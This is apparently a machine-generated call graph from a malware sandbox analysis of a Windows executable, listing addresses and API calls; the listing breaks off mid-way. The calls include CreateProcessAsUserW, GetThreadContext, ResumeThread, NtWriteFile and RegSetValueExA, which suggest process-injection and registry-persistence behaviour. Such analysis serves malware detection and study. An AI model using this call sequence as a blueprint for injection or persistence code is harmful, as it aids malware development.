29186d8 29986->29988 29991 2917bae 29987->29991 29989 2919571 29988->29989 29990 29186ed 29988->29990 29992 28f4860 11 API calls 29989->29992 29993 28f4860 11 API calls 29990->29993 29995 290889c 22 API calls 29991->29995 29998 2919592 29992->29998 29994 291870e 29993->29994 29999 2918726 29994->29999 29996 2917bd2 29995->29996 29997 28f4860 11 API calls 29996->29997 30003 2917bf3 29997->30003 30000 28f47ec 11 API calls 29998->30000 30001 28f47ec 11 API calls 29999->30001 30006 29195c9 30000->30006 30002 2918745 30001->30002 30005 291875d 30002->30005 30004 28f47ec 11 API calls 30003->30004 30010 2917c2a 30004->30010 30007 290889c 22 API calls 30005->30007 30008 290889c 22 API calls 30006->30008 30009 2918769 30007->30009 30011 29195ed 30008->30011 30013 28f4860 11 API calls 30009->30013 30015 290889c 22 API calls 30010->30015 30012 28f4860 11 API calls 30011->30012 30018 291960e 30012->30018 30014 291878a 30013->30014 30019 2918795 30014->30019 30016 2917c4e 30015->30016 30017 28f4860 11 API calls 30016->30017 30023 2917c6f 30017->30023 30020 28f47ec 11 API calls 30018->30020 30021 28f47ec 11 API calls 30019->30021 30025 2919645 30020->30025 30022 29187c1 30021->30022 30026 29187cc 30022->30026 30024 28f47ec 11 API calls 30023->30024 30030 2917ca6 30024->30030 30028 290889c 22 API calls 30025->30028 30027 290889c 22 API calls 30026->30027 30029 29187e5 30027->30029 30031 2919669 30028->30031 30032 28f4860 11 API calls 30029->30032 30034 290889c 22 API calls 30030->30034 30033 28f4860 11 API calls 30031->30033 30036 2918806 30032->30036 30035 291968a 30033->30035 30037 2917cca 30034->30037 30038 28f47ec 11 API calls 30035->30038 30039 28f47ec 11 API calls 30036->30039 31171 290acb0 29 API calls 30037->31171 30043 29196c1 30038->30043 30044 291883d 30039->30044 30041 2917cf1 30042 28f4860 11 API calls 30041->30042 30047 2917d12 30042->30047 30045 290889c 22 API calls 30043->30045 30046 290889c 22 API calls 30044->30046 30055 29196e5 30045->30055 30048 2918861 30046->30048 30051 28f47ec 11 API calls 30047->30051 30049 28f47ec 11 API calls 30048->30049 30050 291888d 30049->30050 30054 29188a5 30050->30054 30056 2917d49 30051->30056 30052 2919ea0 30053 28f4860 11 API calls 30052->30053 30058 2919ec1 30053->30058 30059 29188b0 CreateProcessAsUserW 30054->30059 30055->30052 30057 28f4860 11 API calls 30055->30057 30060 290889c 22 API calls 30056->30060 30068 2919730 30057->30068 30064 28f47ec 11 API calls 30058->30064 30061 29188c2 30059->30061 30062 291893e 30059->30062 30063 2917d6d 30060->30063 30066 28f4860 11 API calls 30061->30066 30065 28f4860 11 API calls 30062->30065 30067 28f4860 11 API calls 30063->30067 30072 2919ef8 30064->30072 30073 291895f 30065->30073 30069 29188e3 30066->30069 30074 2917d8e 30067->30074 30070 28f47ec 11 API calls 30068->30070 30071 29188ee 30069->30071 30081 2919767 30070->30081 30078 28f47ec 11 API calls 30071->30078 30076 290889c 22 API calls 30072->30076 30077 28f47ec 11 API calls 30073->30077 30075 28f47ec 11 API calls 30074->30075 30086 2917dc5 30075->30086 30080 2919f1c 30076->30080 30085 2918996 30077->30085 30079 291891a 30078->30079 30083 2918925 30079->30083 30082 28f4860 11 API calls 30080->30082 30084 290889c 22 API calls 30081->30084 30092 2919f3d 30082->30092 30090 290889c 22 API calls 30083->30090 30087 291978b 30084->30087 30089 290889c 22 API calls 30085->30089 30091 290889c 22 API calls 30086->30091 30088 28f4860 11 API calls 30087->30088 30098 29197ac 30088->30098 30093 29189ba 30089->30093 30090->30062 30094 2917de9 30091->30094 30095 28f47ec 11 API calls 30092->30095 30096 28f4860 11 API calls 30093->30096 30097 28f4860 11 API calls 30094->30097 30100 2919f74 30095->30100 30101 29189db 30096->30101 30102 2917e0a 30097->30102 30099 28f47ec 11 API calls 30098->30099 30107 29197e3 30099->30107 30103 290889c 22 API calls 30100->30103 30104 28f47ec 11 API calls 30101->30104 30105 28f47ec 11 API calls 30102->30105 30106 2919f98 30103->30106 30112 2918a12 30104->30112 30110 2917e41 30105->30110 30108 28f4860 11 API calls 30106->30108 30109 290889c 22 API calls 30107->30109 30116 2919fb9 30108->30116 30111 2919807 30109->30111 30115 290889c 22 API calls 30110->30115 30113 28f4860 11 API calls 30111->30113 30114 290889c 22 API calls 30112->30114 30120 2919828 30113->30120 30117 2918a36 30114->30117 30118 2917e65 30115->30118 30119 28f47ec 11 API calls 30116->30119 30121 28f49f8 11 API calls 30117->30121 30123 28f4860 11 API calls 30118->30123 30125 2919ff0 30119->30125 30124 28f47ec 11 API calls 30120->30124 30122 2918a5a 30121->30122 30126 28f4860 11 API calls 30122->30126 30129 2917ea5 30123->30129 30130 291985f 30124->30130 30127 290889c 22 API calls 30125->30127 30128 2918a89 30126->30128 30133 291a014 30127->30133 30135 2918a94 30128->30135 30131 28f47ec 11 API calls 30129->30131 30132 290889c 22 API calls 30130->30132 30139 2917edc 30131->30139 30134 2919883 30132->30134 30140 290889c 22 API calls 30133->30140 30714 290f388 30134->30714 30137 28f47ec 11 API calls 30135->30137 30138 2918ac0 30137->30138 30145 2918acb 30138->30145 30143 290889c 22 API calls 30139->30143 30147 291a047 30140->30147 30142 28f4860 11 API calls 30148 29198c7 30142->30148 30144 2917f00 30143->30144 30146 28f4860 11 API calls 30144->30146 30149 290889c 22 API calls 30145->30149 30154 2917f21 30146->30154 30150 290889c 22 API calls 30147->30150 30152 28f4860 11 API calls 30148->30152 30151 2918ae4 30149->30151 30155 291a07a 30150->30155 30153 28f4860 11 API calls 30151->30153 30157 29198ff 30152->30157 30158 2918b05 30153->30158 30156 28f47ec 11 API calls 30154->30156 30159 290889c 22 API calls 30155->30159 30162 2917f58 30156->30162 30160 28f47ec 11 API calls 30157->30160 30161 28f47ec 11 API calls 30158->30161 30164 291a0ad 30159->30164 30167 2919936 30160->30167 30165 2918b3c 30161->30165 30163 290889c 22 API calls 30162->30163 30166 2917f7c 30163->30166 30169 290889c 22 API calls 30164->30169 30171 290889c 22 API calls 30165->30171 30168 28f4860 11 API calls 30166->30168 30170 290889c 22 API calls 30167->30170 30178 2917f9d 30168->30178 30172 291a0e0 30169->30172 30173 291995a 30170->30173 30174 2918b60 30171->30174 30175 28f4860 11 API calls 30172->30175 30176 28f4860 11 API calls 30173->30176 30177 28f4860 11 API calls 30174->30177 30179 291a101 30175->30179 30181 291997b 30176->30181 30182 2918b81 30177->30182 30180 28f47ec 11 API calls 30178->30180 30183 28f47ec 11 API calls 30179->30183 30186 2917fd4 30180->30186 30184 28f47ec 11 API calls 30181->30184 30185 28f47ec 11 API calls 30182->30185 30188 291a138 30183->30188 30190 29199b2 30184->30190 30191 2918bb8 30185->30191 30187 290889c 22 API calls 30186->30187 30189 2917ff8 30187->30189 30193 290889c 22 API calls 30188->30193 31172 2905aec 42 API calls 30189->31172 30197 290889c 22 API calls 30190->30197 30194 290889c 22 API calls 30191->30194 30196 291a15c 30193->30196 30198 2918bdc 30194->30198 30200 28f4860 11 API calls 30196->30200 30201 29199d6 30197->30201 31175 290d01c 25 API calls 30198->31175 30199 2918024 30208 28f4bcc 11 API calls 30199->30208 30209 291a17d 30200->30209 30721 28f7e5c 30201->30721 30205 2918bf0 30207 28f4860 11 API calls 30205->30207 30206 2919c9a 30210 28f4860 11 API calls 30206->30210 30215 2918c16 30207->30215 30212 2918039 30208->30212 30214 28f47ec 11 API calls 30209->30214 30216 2919cbb 30210->30216 30211 28f4860 11 API calls 30217 2919a09 30211->30217 30213 28f4860 11 API calls 30212->30213 30219 291805a 30213->30219 30220 291a1b4 30214->30220 30218 28f47ec 11 API calls 30215->30218 30221 28f47ec 11 API calls 30216->30221 30222 28f47ec 11 API calls 30217->30222 30226 2918c4d 30218->30226 30223 28f47ec 11 API calls 30219->30223 30224 290889c 22 API calls 30220->30224 30228 2919cf2 30221->30228 30229 2919a40 30222->30229 30231 2918091 30223->30231 30225 291a1d8 30224->30225 30227 28f4860 11 API calls 30225->30227 30230 290889c 22 API calls 30226->30230 30241 291a1f9 30227->30241 30233 290889c 22 API calls 30228->30233 30234 290889c 22 API calls 30229->30234 30232 2918c71 30230->30232 30237 290889c 22 API calls 30231->30237 30236 28f4860 11 API calls 30232->30236 30238 2919d16 30233->30238 30235 2919a64 30234->30235 30239 28f4860 11 API calls 30235->30239 30244 2918c92 30236->30244 30240 29180b5 30237->30240 30242 28f4860 11 API calls 30238->30242 30247 2919a85 30239->30247 30245 28f49f8 11 API calls 30240->30245 30243 28f47ec 11 API calls 30241->30243 30246 2919d37 30242->30246 30251 291a230 30243->30251 30249 28f47ec 11 API calls 30244->30249 30248 29180d2 30245->30248 30252 28f47ec 11 API calls 30246->30252 30253 28f47ec 11 API calls 30247->30253 31173 2907e50 17 API calls 30248->31173 30257 2918cc9 30249->30257 30256 290889c 22 API calls 30251->30256 30258 2919d6e 30252->30258 30259 2919abc 30253->30259 30254 29180d8 30255 28f4860 11 API calls 30254->30255 30260 29180f9 30255->30260 30263 291a254 30256->30263 30261 290889c 22 API calls 30257->30261 30264 290889c 22 API calls 30258->30264 30265 290889c 22 API calls 30259->30265 30267 28f47ec 11 API calls 30260->30267 30262 2918ced 30261->30262 30266 28f4860 11 API calls 30262->30266 30270 290889c 22 API calls 30263->30270 30268 2919d92 30264->30268 30269 2919ae0 30265->30269 30273 2918d0e 30266->30273 30274 2918130 30267->30274 30271 28f4860 11 API calls 30268->30271 30272 28f4860 11 API calls 30269->30272 30275 291a287 30270->30275 30276 2919db3 30271->30276 30277 2919b01 30272->30277 30278 28f47ec 11 API calls 30273->30278 30279 290889c 22 API calls 30274->30279 30280 290889c 22 API calls 30275->30280 30281 28f47ec 11 API calls 30276->30281 30282 28f47ec 11 API calls 30277->30282 30285 2918d45 30278->30285 30283 2918154 30279->30283 30286 291a2ba 30280->30286 30287 2919dea 30281->30287 30288 2919b38 30282->30288 30284 28f4860 11 API calls 30283->30284 30289 2918175 30284->30289 30290 290889c 22 API calls 30285->30290 30291 290889c 22 API calls 30286->30291 30292 290889c 22 API calls 30287->30292 30293 290889c 22 API calls 30288->30293 30295 28f47ec 11 API calls 30289->30295 30294 2918d69 30290->30294 30304 291a2ed 30291->30304 30296 2919e0e 30292->30296 30297 2919b5c 30293->30297 30298 2918d72 30294->30298 30299 2918d89 30294->30299 30305 29181ac 30295->30305 30302 28f4860 11 API calls 30296->30302 30303 28f4860 11 API calls 30297->30303 31176 29085fc 17 API calls 30298->31176 30301 28f4860 11 API calls 30299->30301 30307 2918daa 30301->30307 30309 2919e2f 30302->30309 30306 2919b7d 30303->30306 30308 290889c 22 API calls 30304->30308 30310 290889c 22 API calls 30305->30310 30312 28f47ec 11 API calls 30306->30312 30313 28f47ec 11 API calls 30307->30313 30316 291a320 30308->30316 30311 28f47ec 11 API calls 30309->30311 30314 29181d0 30310->30314 30318 2919e66 30311->30318 30319 2919bb4 30312->30319 30320 2918de1 30313->30320 30315 28f4860 11 API calls 30314->30315 30322 29181f1 30315->30322 30317 290889c 22 API calls 30316->30317 30321 291a353 30317->30321 30324 290889c 22 API calls 30318->30324 30325 290889c 22 API calls 30319->30325 30326 290889c 22 API calls 30320->30326 30323 28f4860 11 API calls 30321->30323 30327 28f47ec 11 API calls 30322->30327 30335 291a374 30323->30335 30328 2919e8a 30324->30328 30329 2919bd8 30325->30329 30330 2918e05 30326->30330 30337 2918228 30327->30337 30740 28f49f8 30328->30740 30333 28f4860 11 API calls 30329->30333 30331 28f4860 11 API calls 30330->30331 30338 2918e26 30331->30338 30340 2919bf9 30333->30340 30339 28f47ec 11 API calls 30335->30339 30341 290889c 22 API calls 30337->30341 30343 28f47ec 11 API calls 30338->30343 30346 291a3ab 30339->30346 30342 28f47ec 11 API calls 30340->30342 30344 291824c 30341->30344 30348 2919c30 30342->30348 30349 2918e5d 30343->30349 30345 28f4860 11 API calls 30344->30345 30351 291826d 30345->30351 30347 290889c 22 API calls 30346->30347 30350 291a3cf 30347->30350 30353 290889c 22 API calls 30348->30353 30354 290889c 22 API calls 30349->30354 30352 28f4860 11 API calls 30350->30352 30356 28f47ec 11 API calls 30351->30356 30358 291a3f0 30352->30358 30363 2919c54 30353->30363 30355 2918e81 30354->30355 30357 28f4860 11 API calls 30355->30357 30359 29182a4 30356->30359 30360 2918ea2 30357->30360 30361 28f47ec 11 API calls 30358->30361 30362 290889c 22 API calls 30359->30362 30364 28f47ec 11 API calls 30360->30364 30368 291a427 30361->30368 30365 29182c8 30362->30365 30725 290df80 30363->30725 30370 2918ed9 30364->30370 31174 290afd0 41 API calls 30365->31174 30369 290889c 22 API calls 30368->30369 30374 291a44b 30369->30374 30372 290889c 22 API calls 30370->30372 30371 29182d9 30373 2918efd ResumeThread 30372->30373 30375 28f4860 11 API calls 30373->30375 30376 290889c 22 API calls 30374->30376 30378 2918f29 30375->30378 30377 291a47e 30376->30377 30379 28f4860 11 API calls 30377->30379 30380 28f47ec 11 API calls 30378->30380 30381 291a49f 30379->30381 30382 2918f60 30380->30382 30383 28f47ec 11 API calls 30381->30383 30384 290889c 22 API calls 30382->30384 30386 291a4d6 30383->30386 30385 2918f84 30384->30385 30387 28f4860 11 API calls 30385->30387 30388 290889c 22 API calls 30386->30388 30391 2918fa5 30387->30391 30389 291a4fa 30388->30389 30390 28f4860 11 API calls 30389->30390 30393 291a51b 30390->30393 30392 28f47ec 11 API calls 30391->30392 30394 2918fdc 30392->30394 30395 28f47ec 11 API calls 30393->30395 30396 290889c 22 API calls 30394->30396 30398 291a552 30395->30398 30397 2919000 30396->30397 30399 28f4860 11 API calls 30397->30399 30400 290889c 22 API calls 30398->30400 30403 2919021 30399->30403 30401 291a576 30400->30401 30402 28f4860 11 API calls 30401->30402 30405 291a597 30402->30405 30404 28f47ec 11 API calls 30403->30404 30406 2919058 30404->30406 30407 28f47ec 11 API calls 30405->30407 30408 290889c 22 API calls 30406->30408 30411 291a5ce 30407->30411 30409 291907c CloseHandle 30408->30409 30410 28f4860 11 API calls 30409->30410 30413 29190a8 30410->30413 30412 290889c 22 API calls 30411->30412 30414 291a5f2 30412->30414 30415 28f47ec 11 API calls 30413->30415 30416 290889c 22 API calls 30414->30416 30417 29190df 30415->30417 30419 291a625 30416->30419 30418 290889c 22 API calls 30417->30418 30420 2919103 30418->30420 30422 290889c 22 API calls 30419->30422 30421 28f4860 11 API calls 30420->30421 30424 2919124 30421->30424 30423 291a658 30422->30423 30425 290889c 22 API calls 30423->30425 30426 28f47ec 11 API calls 30424->30426 30427 291a68b 30425->30427 30428 291915b 30426->30428 30430 290889c 22 API calls 30427->30430 30429 290889c 22 API calls 30428->30429 30431 291917f 30429->30431 30432 291a6be 30430->30432 30433 28f4860 11 API calls 30431->30433 30434 28f4860 11 API calls 30432->30434 30435 29191a0 30433->30435 30436 291a6df 30434->30436 30438 28f47ec 11 API calls 30435->30438 30437 28f47ec 11 API calls 30436->30437 30439 291a716 30437->30439 30440 29191d7 30438->30440 30441 290889c 22 API calls 30439->30441 30442 290889c 22 API calls 30440->30442 30443 291a73a 30441->30443 30444 29191fb 30442->30444 30446 28f4860 11 API calls 30443->30446 30445 28f4860 11 API calls 30444->30445 30447 291921c 30445->30447 30448 291a75b 30446->30448 30449 28f47ec 11 API calls 30447->30449 30450 28f47ec 11 API calls 30448->30450 30452 2919253 30449->30452 30451 291a792 30450->30451 30453 290889c 22 API calls 30451->30453 30454 290889c 22 API calls 30452->30454 30457 291a7b6 30453->30457 30455 2919277 30454->30455 30456 28f4860 11 API calls 30455->30456 30458 2919298 30456->30458 30459 290889c 22 API calls 30457->30459 30460 28f47ec 11 API calls 30458->30460 30461 291a7e9 30459->30461 30463 29192cf 30460->30463 30462 290889c 22 API calls 30461->30462 30466 291a81c 30462->30466 30464 290889c 22 API calls 30463->30464 30465 29192f3 30464->30465 30467 28f4860 11 API calls 30465->30467 30468 290889c 22 API calls 30466->30468 30469 2919314 30467->30469 30471 291a84f 30468->30471 30470 28f47ec 11 API calls 30469->30470 30473 291934b 30470->30473 30472 290889c 22 API calls 30471->30472 30474 291a882 30472->30474 30475 290889c 22 API calls 30473->30475 30477 290889c 22 API calls 30474->30477 30476 291936f 30475->30476 30478 28f4860 11 API calls 30476->30478 30479 291a8b5 30477->30479 30481 2919390 30478->30481 30480 28f4860 11 API calls 30479->30480 30483 291a8d6 30480->30483 30482 28f47ec 11 API calls 30481->30482 30485 29193c7 30482->30485 30484 28f47ec 11 API calls 30483->30484 30487 291a90d 30484->30487 30486 290889c 22 API calls 30485->30486 30488 29193eb 30486->30488 30489 290889c 22 API calls 30487->30489 31177 2908818 LoadLibraryW 30488->31177 30490 291a931 30489->30490 30491 28f4860 11 API calls 30490->30491 30496 291a952 30491->30496 30494 2908818 21 API calls 30495 291941e 30494->30495 30497 2908818 21 API calls 30495->30497 30500 28f47ec 11 API calls 30496->30500 30498 2919432 30497->30498 30499 2908818 21 API calls 30498->30499 30501 2919446 30499->30501 30505 291a989 30500->30505 30502 2908818 21 API calls 30501->30502 30503 291945a 30502->30503 30504 2908818 21 API calls 30503->30504 30506 291946e CloseHandle 30504->30506 30508 290889c 22 API calls 30505->30508 30507 28f4860 11 API calls 30506->30507 30511 291949a 30507->30511 30509 291a9ad 30508->30509 30510 28f4860 11 API calls 30509->30510 30512 291a9ce 30510->30512 30513 28f47ec 11 API calls 30511->30513 30514 28f47ec 11 API calls 30512->30514 30515 29194d1 30513->30515 30517 291aa05 30514->30517 30516 290889c 22 API calls 30515->30516 30518 29194f5 30516->30518 30520 290889c 22 API calls 30517->30520 30519 28f4860 11 API calls 30518->30519 30523 2919516 30519->30523 30521 291aa29 30520->30521 30522 28f4860 11 API calls 30521->30522 30524 291aa4a 30522->30524 30525 28f47ec 11 API calls 30523->30525 30526 28f47ec 11 API calls 30524->30526 30527 291954d 30525->30527 30529 291aa81 30526->30529 30528 290889c 22 API calls 30527->30528 30528->29989 30530 290889c 22 API calls 30529->30530 30531 291aaa5 30530->30531 30532 28f4860 11 API calls 30531->30532 30533 291aac6 30532->30533 30534 28f47ec 11 API calls 30533->30534 30535 291aafd 30534->30535 30536 290889c 22 API calls 30535->30536 30537 291ab21 30536->30537 30538 290889c 22 API calls 30537->30538 30539 291ab30 30538->30539 30540 290889c 22 API calls 30539->30540 30541 291ab3f 30540->30541 30542 290889c 22 API calls 30541->30542 30543 291ab4e 30542->30543 30544 290889c 22 API calls 30543->30544 30545 291ab5d 30544->30545 30546 290889c 22 API calls 30545->30546 30547 291ab6c 30546->30547 30548 290889c 22 API calls 30547->30548 30549 291ab7b 30548->30549 30550 290889c 22 API calls 30549->30550 30551 291ab8a 30550->30551 30552 290889c 22 API calls 30551->30552 30553 291ab99 30552->30553 30554 290889c 22 API calls 30553->30554 30555 291aba8 30554->30555 30556 290889c 22 API calls 30555->30556 30557 291abb7 30556->30557 30558 290889c 22 API calls 30557->30558 30559 291abc6 30558->30559 30560 290889c 22 API calls 30559->30560 30561 291abd5 30560->30561 30562 290889c 22 API calls 30561->30562 30563 291abe4 30562->30563 30564 290889c 22 API calls 30563->30564 30565 291abf3 30564->30565 30566 290889c 22 API calls 30565->30566 30567 291ac02 30566->30567 30568 28f4860 11 API calls 30567->30568 30569 291ac23 30568->30569 30570 28f47ec 11 API calls 30569->30570 30571 291ac5a 30570->30571 30572 290889c 22 API calls 30571->30572 30573 291ac7e 30572->30573 30574 290889c 22 API calls 30573->30574 30575 291acb1 30574->30575 30576 290889c 22 API calls 30575->30576 30577 291ace4 30576->30577 30578 290889c 22 API calls 30577->30578 30579 291ad17 30578->30579 30580 290889c 22 API calls 30579->30580 30581 291ad4a 30580->30581 30582 290889c 22 API calls 30581->30582 30583 291ad7d 30582->30583 30584 290889c 22 API calls 30583->30584 30585 291adb0 30584->30585 30586 290889c 22 API calls 30585->30586 30587 291ade3 30586->30587 30588 28f4860 11 API calls 30587->30588 30589 291ae04 30588->30589 30590 28f47ec 11 API calls 30589->30590 30591 291ae3b 30590->30591 30592 290889c 22 API calls 30591->30592 30593 291ae5f 30592->30593 30594 28f4860 11 API calls 30593->30594 30595 291ae80 30594->30595 30596 28f47ec 11 API calls 30595->30596 30597 291aeb7 30596->30597 30598 290889c 22 API calls 30597->30598 30599 291aedb 30598->30599 30600 28f4860 11 API calls 30599->30600 30601 291aefc 30600->30601 30602 28f47ec 11 API calls 30601->30602 30603 291af33 30602->30603 30604 290889c 22 API calls 30603->30604 30605 291af57 30604->30605 30606 290889c 22 API calls 30605->30606 30607 291af8a 30606->30607 30608 290889c 22 API calls 30607->30608 30609 291afbd 30608->30609 30610 290889c 22 API calls 30609->30610 30611 291aff0 30610->30611 30612 290889c 22 API calls 30611->30612 30613 291b023 30612->30613 30614 290889c 22 API calls 30613->30614 30615 291b056 30614->30615 30616 290889c 22 API calls 30615->30616 30617 291b089 30616->30617 30618 290889c 22 API calls 30617->30618 30619 291b0bc 30618->30619 30620 290889c 22 API calls 30619->30620 30621 291b0ef 30620->30621 30622 290889c 22 API calls 30621->30622 30623 291b122 30622->30623 30624 290889c 22 API calls 30623->30624 30625 291b155 30624->30625 30626 290889c 22 API calls 30625->30626 30627 291b188 30626->30627 30628 290889c 22 API calls 30627->30628 30629 291b1bb 30628->30629 30630 290889c 22 API calls 30629->30630 30631 291b1ee 30630->30631 30632 290889c 22 API calls 30631->30632 30633 291b221 30632->30633 30634 290889c 22 API calls 30633->30634 30635 291b254 30634->30635 30636 290889c 22 API calls 30635->30636 30637 291b287 30636->30637 30638 290889c 22 API calls 30637->30638 30639 291b2ba 30638->30639 30640 290889c 22 API calls 30639->30640 30641 291b2ed 30640->30641 30642 290889c 22 API calls 30641->30642 30643 291b320 30642->30643 31147 2908204 30643->31147 30646 28f4860 11 API calls 30647 291b350 30646->30647 30648 28f47ec 11 API calls 30647->30648 30649 291b387 30648->30649 30650 290889c 22 API calls 30649->30650 30651 291b3ab 30650->30651 30652 28f4860 11 API calls 30651->30652 30653 291b3cc 30652->30653 30654 28f47ec 11 API calls 30653->30654 30655 291b403 30654->30655 30656 290889c 22 API calls 30655->30656 30657 291b427 30656->30657 30658 28f4860 11 API calls 30657->30658 30659 291b448 30658->30659 30660 28f47ec 11 API calls 30659->30660 30661 291b47f 30660->30661 30662 290889c 22 API calls 30661->30662 30663 291b4a3 ExitProcess 30662->30663 30665 28f4851 30664->30665 30666 28f47f0 30664->30666 30667 28f47f8 30666->30667 30668 28f4530 30666->30668 30667->30665 30670 28f4807 30667->30670 30672 28f4530 11 API calls 30667->30672 30671 28f45a0 11 API calls 30668->30671 30674 28f4544 30668->30674 30669 28f4572 30669->29851 30673 28f45a0 11 API calls 30670->30673 30671->30674 30672->30670 30676 28f4821 30673->30676 30674->30669 30675 28f2c2c 11 API calls 30674->30675 30675->30669 30677 28f4530 11 API calls 30676->30677 30678 28f484d 30677->30678 30678->29851 30680 29088b0 30679->30680 30681 29088cf LoadLibraryA 30680->30681 31184 28f49a0 30681->31184 30684 28f49a0 30685 29088f2 GetProcAddress 30684->30685 30686 2908919 30685->30686 31186 2907d78 30686->31186 30689 2908975 31200 28f4500 30689->31200 30693 290e408 30692->30693 30694 290e48b 30693->30694 30697 28f49f8 11 API calls 30693->30697 30695 28f44dc 11 API calls 30694->30695 30696 290e493 30695->30696 30698 28f4530 11 API calls 30696->30698 30697->30693 30699 290e49e 30698->30699 30700 28f4500 11 API calls 30699->30700 30701 290e4b8 30700->30701 30701->29881 30703 290f51f 30702->30703 30704 290f54a RegOpenKeyA 30703->30704 30705 290f558 30704->30705 30706 28f49f8 11 API calls 30705->30706 30707 290f570 30706->30707 30708 290f57d RegSetValueExA RegCloseKey 30707->30708 30709 290f5a1 30708->30709 30710 28f4500 11 API calls 30709->30710 30711 290f5ae 30710->30711 30712 28f44dc 11 API calls 30711->30712 30713 290f5b6 30712->30713 30713->29884 30719 290f3ad 30714->30719 30715 290f3d9 30716 28f44dc 11 API calls 30715->30716 30718 290f3ee 30716->30718 30718->30142 30719->30715 31233 28f46c4 11 API calls 30719->31233 31234 28f4530 11 API calls 30719->31234 30722 28f49a0 30721->30722 30723 28f7e66 GetFileAttributesA 30722->30723 30724 28f7e71 30723->30724 30724->30206 30724->30211 30726 290df96 30725->30726 31235 28f4f20 30726->31235 30728 290df9e 30729 290dfbe RtlDosPathNameToNtPathName_U 30728->30729 31239 290ded0 30729->31239 30731 290dfda NtCreateFile 30732 290e005 30731->30732 30733 28f49f8 11 API calls 30732->30733 30734 290e017 NtWriteFile NtClose 30733->30734 30735 290e041 30734->30735 31240 28f4c60 30735->31240 30738 28f44dc 11 API calls 30739 290e051 30738->30739 30739->30206 30741 28f49ac 30740->30741 30742 28f49e7 30741->30742 30743 28f45a0 11 API calls 30741->30743 30746 2908c28 30742->30746 30744 28f49c3 30743->30744 30744->30742 30745 28f2c2c 11 API calls 30744->30745 30745->30742 30747 2908c30 30746->30747 30748 28f4860 11 API calls 30747->30748 30749 2908c73 30748->30749 30750 28f47ec 11 API calls 30749->30750 30751 2908c98 30750->30751 30752 290889c 22 API calls 30751->30752 30753 2908cb3 30752->30753 30754 28f4860 11 API calls 30753->30754 30755 2908ccc 30754->30755 30756 28f47ec 11 API calls 30755->30756 30757 2908cf1 30756->30757 30758 290889c 22 API calls 30757->30758 30759 2908d0c 30758->30759 30760 290a76f 30759->30760 30761 28f4860 11 API calls 30759->30761 30762 28f4500 11 API calls 30760->30762 30766 2908d3d 30761->30766 30763 290a78c 30762->30763 30764 28f4500 11 API calls 30763->30764 30765 290a79c 30764->30765 30767 28f4c60 SysFreeString 30765->30767 30769 28f47ec 11 API calls 30766->30769 30768 290a7a7 30767->30768 30770 28f4500 11 API calls 30768->30770 30774 2908d62 30769->30774 30771 290a7b7 30770->30771 30772 28f44dc 11 API calls 30771->30772 30773 290a7bf 30772->30773 30775 28f4500 11 API calls 30773->30775 30777 290889c 22 API calls 30774->30777 30776 290a7cc 30775->30776 30778 28f4500 11 API calls 30776->30778 30779 2908d7d 30777->30779 30780 290a7d9 30778->30780 30781 28f4860 11 API calls 30779->30781 30780->30052 30782 2908d96 30781->30782 30783 28f47ec 11 API calls 30782->30783 30784 2908dbb 30783->30784 30785 290889c 22 API calls 30784->30785 30786 2908dd6 30785->30786 30786->30760 30787 28f4860 11 API calls 30786->30787 30788 2908e1e 30787->30788 30789 28f47ec 11 API calls 30788->30789 30790 2908e43 30789->30790 30791 290889c 22 API calls 30790->30791 30792 2908e5e 30791->30792 30793 28f4860 11 API calls 30792->30793 30794 2908e77 30793->30794 30795 28f47ec 11 API calls 30794->30795 30796 2908e9c 30795->30796 30797 290889c 22 API calls 30796->30797 30798 2908eb7 30797->30798 30799 28f4860 11 API calls 30798->30799 30800 2908efc 30799->30800 30801 28f47ec 11 API calls 30800->30801 30802 2908f21 30801->30802 30803 290889c 22 API calls 30802->30803 30804 2908f3c 30803->30804 30805 28f4860 11 API calls 30804->30805 30806 2908f55 30805->30806 30807 28f47ec 11 API calls 30806->30807 30808 2908f7d 30807->30808 30809 290889c 22 API calls 30808->30809 30810 2908f9b 30809->30810 30811 28f4860 11 API calls 30810->30811 30812 2908fb7 30811->30812 30813 28f47ec 11 API calls 30812->30813 30814 2908fe8 30813->30814 30815 290889c 22 API calls 30814->30815 30816 290900c 30815->30816 30817 28f4860 11 API calls 30816->30817 30818 2909028 30817->30818 30819 28f47ec 11 API calls 30818->30819 30820 2909059 30819->30820 30821 290889c 22 API calls 30820->30821 30822 290907d 30821->30822 30823 28f4860 11 API calls 30822->30823 30824 2909099 30823->30824 30825 28f47ec 11 API calls 30824->30825 30826 29090ca 30825->30826 30827 290889c 22 API calls 30826->30827 30828 29090ee 30827->30828 31243 2908654 30828->31243 30831 29091a0 30832 28f4860 11 API calls 30831->30832 30834 29091bc 30832->30834 30833 28f4860 11 API calls 30835 290914b 30833->30835 30837 28f47ec 11 API calls 30834->30837 30836 28f47ec 11 API calls 30835->30836 30839 290917c 30836->30839 30838 29091ed 30837->30838 30840 290889c 22 API calls 30838->30840 30841 290889c 22 API calls 30839->30841 30842 2909211 30840->30842 30841->30831 30843 290889c 22 API calls 30842->30843 30844 2909244 30843->30844 30845 28f4860 11 API calls 30844->30845 30846 2909260 30845->30846 30847 28f47ec 11 API calls 30846->30847 30848 2909291 30847->30848 30849 290889c 22 API calls 30848->30849 30850 29092b5 30849->30850 30851 28f4860 11 API calls 30850->30851 30852 29092d1 30851->30852 30853 28f47ec 11 API calls 30852->30853 30854 2909302 30853->30854 30855 290889c 22 API calls 30854->30855 30856 2909326 30855->30856 31255 28f2ee0 QueryPerformanceCounter 30856->31255 30858 290932b 30859 28f4860 11 API calls 30858->30859 30860 290936e 30859->30860 30861 28f47ec 11 API calls 30860->30861 30862 290939f 30861->30862 30863 290889c 22 API calls 30862->30863 30864 29093c3 30863->30864 30865 28f4860 11 API calls 30864->30865 30866 29093df 30865->30866 30867 28f47ec 11 API calls 30866->30867 30868 2909410 30867->30868 30869 290889c 22 API calls 30868->30869 30870 2909434 30869->30870 30871 28f4860 11 API calls 30870->30871 30872 2909450 30871->30872 30873 28f47ec 11 API calls 30872->30873 30874 2909481 30873->30874 30875 290889c 22 API calls 30874->30875 30876 29094a5 GetThreadContext 30875->30876 30876->30760 30877 29094c7 30876->30877 30878 28f4860 11 API calls 30877->30878 30879 29094e3 30878->30879 30880 28f47ec 11 API calls 30879->30880 30881 2909514 30880->30881 30882 290889c 22 API calls 30881->30882 30883 2909538 30882->30883 30884 28f4860 11 API calls 30883->30884 30885 2909554 30884->30885 30886 28f47ec 11 API calls 30885->30886 30887 2909585 30886->30887 30888 290889c 22 API calls 30887->30888 30889 29095a9 30888->30889 30890 28f4860 11 API calls 30889->30890 30891 29095c5 30890->30891 30892 28f47ec 11 API calls 30891->30892 30893 29095f6 30892->30893 30894 